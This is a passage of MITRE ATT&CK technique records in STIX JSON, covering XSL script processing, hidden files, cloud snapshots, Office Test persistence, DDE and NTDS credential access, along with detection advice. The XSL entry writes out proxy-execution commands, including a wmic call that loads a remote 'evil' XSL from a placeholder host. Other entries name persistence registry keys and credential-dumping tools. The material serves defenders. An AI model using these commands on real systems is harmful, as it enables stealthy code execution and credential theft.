Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-008a"},{"source_name":"ADSecurity GPO Persistence 2016","description":"Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.","url":"https://adsecurity.org/?p=2716"},{"source_name":"Microsoft 365 Defender Solorigate","description":"Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"},{"source_name":"Microsoft - Azure Sentinel ADFSDomainTrustMods","description":"Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.","url":"https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"},{"source_name":"Microsoft - Update or Repair Federated domain","description":"Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.","url":"https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"},{"source_name":"Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"},{"source_name":"Okta Cross-Tenant Impersonation 2023","description":"Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.","url":"https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"},{"source_name":"Wald0 Guide to GPOs","description":"Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.","url":"https://wald0.com/?p=179"},{"source_name":"Harmj0y Abusing GPO Permissions","description":"Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.","url":"https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/"},{"source_name":"Sygnia Golden SAML","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.","url":"https://www.sygnia.co/golden-saml-advisory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:40:12.337Z","name":"XSL Script Processing","description":"Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Avneet Singh","Casey Smith","Praetorian"],"x_mitre_deprecated":false,"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\n\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Module: Module Load","Process: Process Creation"],"x_mitre_defense_bypassed":["Anti-virus","Digital Certificate Validation","Application Control"],"x_mitre_system_requirements":["Microsoft Core XML Services (MSXML) or access to wmic.exe"],"type":"attack-pattern","id":"attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1220","external_id":"T1220"},{"source_name":"Reaqta MSXSL Spearphishing MAR 2018","description":"Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.","url":"https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/"},{"source_name":"Twitter SquiblyTwo Detection APR 2018","description":"Desimone, J. (2018, April 18). Status Update. Retrieved September 12, 2024.","url":"https://x.com/dez_/status/986614411711442944"},{"source_name":"LOLBAS Wmic","description":"LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.","url":"https://lolbas-project.github.io/lolbas/Binaries/Wmic/"},{"source_name":"Microsoft msxsl.exe","description":"Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.","url":"https://www.microsoft.com/download/details.aspx?id=21714"},{"source_name":"Penetration Testing Lab MSXSL July 2017","description":"netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.","url":"https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/"},{"source_name":"XSL Bypass Mar 2019","description":"Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019.","url":"https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75"},{"source_name":"Microsoft XSLT Script Mar 2017","description":"Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018.","url":"https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f","type":"attack-pattern","created":"2020-10-02T17:00:44.586Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1596.005","url":"https://attack.mitre.org/techniques/T1596/005"},{"source_name":"Shodan","url":"https://shodan.io","description":"Shodan. (n.d.). Shodan. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:49:49.260Z","name":"Scan Databases","description":"Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","type":"attack-pattern","created":"2020-02-26T17:46:13.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.001","url":"https://attack.mitre.org/techniques/T1564/001"},{"url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","source_name":"Sofacy Komplex Trojan"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.","source_name":"Antiquated Mac Malware"},{"url":"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf","description":"Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.","source_name":"WireLurker"}],"modified":"2020-03-29T22:32:25.985Z","name":"Hidden Files and Directories","description":"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","File: File Creation","File: File Metadata","Command: Command Execution"],"x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["User"]},{"modified":"2024-10-15T15:53:44.870Z","name":"Create Snapshot","description":"An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Praetorian"],"x_mitre_deprecated":false,"x_mitre_detection":"The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\n\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\n\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\n\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the \"sourceSnapshot\": parameter pointed to \"global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["IaaS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Snapshot: Snapshot Creation","Snapshot: Snapshot Metadata"],"type":"attack-pattern","id":"attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1","created":"2020-06-09T15:33:13.563Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1578/001","external_id":"T1578.001"},{"source_name":"AWS Cloud Trail Backup API","description":"Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.","url":"https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html"},{"source_name":"GCP - Creating and Starting a VM","description":"Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.","url":"https://cloud.google.com/compute/docs/instances/create-start-instance#api_2"},{"source_name":"Cloud Audit Logs","description":"Google. (n.d.). Audit Logs. Retrieved June 1, 2020.","url":"https://cloud.google.com/logging/docs/audit#admin-activity"},{"source_name":"Mandiant M-Trends 2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"},{"source_name":"Azure - Monitor Logs","description":"Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020.","url":"https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867","type":"attack-pattern","created":"2020-10-02T16:32:33.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1591.001","url":"https://attack.mitre.org/techniques/T1591/001"},{"source_name":"ThreatPost Broadvoice Leak","url":"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/","description":"Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."},{"source_name":"SEC EDGAR Search","url":"https://www.sec.gov/edgar/search-and-access","description":"U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021."}],"modified":"2021-08-27T15:37:09.025Z","name":"Determine Physical Locations","description":"Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:01:48.325Z","name":"Office Test","description":"Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature, such as:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\n\nConsider monitoring Office processes for anomalous DLL loads.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Office Suite"],"x_mitre_version":"1.3","x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","Command: Command Execution","File: File Modification","Windows Registry: Windows Registry Key Modification","File: File Creation","Process: Process Creation","Module: Module Load"],"type":"attack-pattern","id":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","created":"2019-11-07T19:44:04.475Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1137/002","external_id":"T1137.002"},{"source_name":"Palo Alto Office Test Sofacy","description":"Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"},{"source_name":"Hexacorn Office Test","description":"Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. Retrieved July 3, 2017.","url":"http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:31:17.270Z","name":"Develop Capabilities","description":"Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_deprecated":false,"x_mitre_detection":"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","x_mitre_data_sources":["Malware Repository: Malware Content","Malware Repository: Malware Metadata","Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","created":"2020-10-01T01:30:00.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1587","external_id":"T1587"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"source_name":"Splunk Kovar Certificates 2017","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"},{"source_name":"Talos Promethium June 2020","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"},{"source_name":"Bitdefender StrongPity June 2020","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1173","url":"https://attack.mitre.org/techniques/T1173"},{"url":"https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/","description":"Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.","source_name":"BleepingComputer DDE Disabled in Word Dec 2017"},{"url":"https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021","description":"Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.","source_name":"Microsoft ADV170021 Dec 2017"},{"url":"https://technet.microsoft.com/library/security/4053440","description":"Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.","source_name":"Microsoft DDE Advisory Nov 2017"},{"url":"https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/","description":"El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.","source_name":"SensePost PS DDE May 2016"},{"url":"https://www.contextis.com/blog/comma-separated-vulnerabilities","description":"Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.","source_name":"Kettle CSV DDE Aug 2014"},{"url":"https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee","description":"Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.","source_name":"Enigma Reviving DDE Jan 2018"},{"url":"https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/","description":"Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.","source_name":"SensePost MacroLess DDE Oct 2017"},{"url":"https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/","description":"NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.","source_name":"NVisio Labs DDE Detection Oct 2017"}],"modified":"2022-02-09T20:22:43.284Z","name":"Dynamic Data Exchange","description":"Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2023-07-28T14:41:38.908Z","name":"NTDS","description":"Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Ed Williams, Trustwave, 